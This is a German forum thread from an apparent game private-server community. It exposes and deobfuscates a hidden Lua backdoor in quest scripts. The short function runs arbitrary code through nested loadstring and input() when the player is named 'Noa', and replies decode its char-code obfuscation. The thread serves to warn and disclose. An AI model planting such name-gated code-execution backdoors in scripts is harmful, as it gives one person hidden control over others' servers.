[RELEASE] LUA Backdoor by Noa (Beispiel)

[​.iRemix]

Da Noa solche "Backdoors" in seine Quests packt wollte ich euch mal ein Beispiel zeigen wonach ihr bei seinen releasten Quests suchen solltet.

PHP Code:

function cCost()
 local da = string.format('%c%c%c',78,111,97) == string.gsub("$get_name$", "%$(.-)%$",function (a ) 
  return pc[a]()
 end) and 
 loadstring('return '..loadstring('return '..string.format('%c%c%c%c%c',105,110,112,117,116)..'()')())() and da or 20000000
 return da
end 


Greets.

[Dr. Sheldon Lee Cooper]

danke dubel von remix

[Mr. 'Avenue™]

Hätte ich ehrlich gesagt nicht von Noa erwartet.
Stille Wasser sind eben tief.

Frage: Was ermöglicht dieser Backdoor?

[Noa_]

was für ein looser ^^ zeigst nur eine Funktion und es gibt 1000 weitere Möglichkeiten, dann viel Spaß beim entziffern

[Mijago]

Schlecht versteckt

Grob:

function cCost()
 if pc.get_name() == "Noa" then
    loadstring("return "..input())()
 else
    return 20000000
 end
end

Damit kann der Nutzer "Noa" JEDE Questfunktion ausführen.. Grob gesagt sich auch Root Zugriff geben.

[Mr. 'Avenue™]

Originally Posted by Noa_

was für ein looser ^^ zeigst nur eine Funktion und es gibt 1000 weitere Möglichkeiten, dann viel Spaß beim entziffern

cool. dann verwendet einfach keiner mehr deine Quests & gut ist?
Erspart das Suchen.
---------------------------------------------

local da = string.format('%c%c%c', 78,111,97

78 = N
111 = o
97 = a

===

local da = "Noa"

loadstring('return '..loadstring('return '..string.format('%c%c%c%c%c',105,110,112,117,116)..'()')())() and da or 20000000

105 = i
110 = n
112 = p
117 = u
116 = t



===

loadstring('return '..loadstring(return input())())() and da or 20000000

http://de.wikipedia.org/wiki/ASCII-T...#ASCII-Tabelle


Resultat:

Originally Posted by Mijago

Schlecht versteckt

Grob:

function cCost()
 if pc.get_name() == "Noa" then
    loadstring("return "..input())()
 else
    return 20000000
 end
end

Damit kann der Nutzer "Noa" JEDE Questfunktion ausführen.. Grob gesagt sich auch Root Zugriff geben.


Oh, und dass ich es nicht vergesse:
#Noob

[Syuki]

Originally Posted by Mr. 'Avenue™

Hätte ich ehrlich gesagt nicht von Noa erwartet.
Stille Wasser sind eben tief.

Frage: Was ermöglicht dieser Backdoor?

Würde mich auch mal interessieren..

Originally Posted by Noa_

was für ein looser ^^ zeigst nur eine Funktion und es gibt 1000 weitere Möglichkeiten, dann viel Spaß beim entziffern

Gibt es also noch mehr?

Danke fürs Pubben

[Noa_]

Ich hab nie behauptet das ich sie in den Releases schreibe, nur das ich sie auf MEINEN QUESTS in MEINEN SERVER aus Sicherheitsgründe verwende und alles andere ist einfach nur Gelaber.
Wollte das nur klarstellen

[​.iRemix]

Originally Posted by Syuki

Würde mich auch mal interessieren..



Gibt es also noch mehr?

Danke fürs Pubben

Ist doch egal, sofern keiner mehr was von ihm nutzt bzw. von ihm coden lässt.

Originally Posted by Noa_

Ich hab nie behauptet das ich sie in den Releases schreibe, nur das ich sie auf MEINEN QUESTS in MEINEN SERVER aus Sicherheitsgründe verwende und alles andere ist einfach nur Gelaber.
Wollte das nur klarstellen

Okay.

[Aze /..]

Selber Schuld, wenn man Pub Quests nutzt und den Code nicht überprüft, aber naja yy

[Noa_]

Originally Posted by ​.iRemix

Ist doch egal, sofern keiner mehr was von ihm nutzt bzw. von ihm coden lässt.





Okay.

damit waren die Quests von meinem Server gemeint du Dussel ^^
zudem kann jeder bezeugen das ich fremde Quests immer sauber geschrieben habe... .

[QuickFlameZ]

Originally Posted by ​.iRemix

Ist doch egal, sofern keiner mehr was von ihm nutzt bzw. von ihm coden lässt.





Okay.

Ich glaube du Freund von Michi kannst nicht mal richtig lesen oder versuchst Noa einfach schlecht zu machen.

 Spoiler

Mfg

[~Ok]

What is this ? Anyone translate english?

[Mr. 'Avenue™]

Originally Posted by ~Ok

What is this ? Anyone translate english?

This is an example of a backdoor by Noa in his own quests

[Noa_]

alles nur Unterstellungen kp was ich den mal angetan habe, war bisher immer lieb zu jedem ^^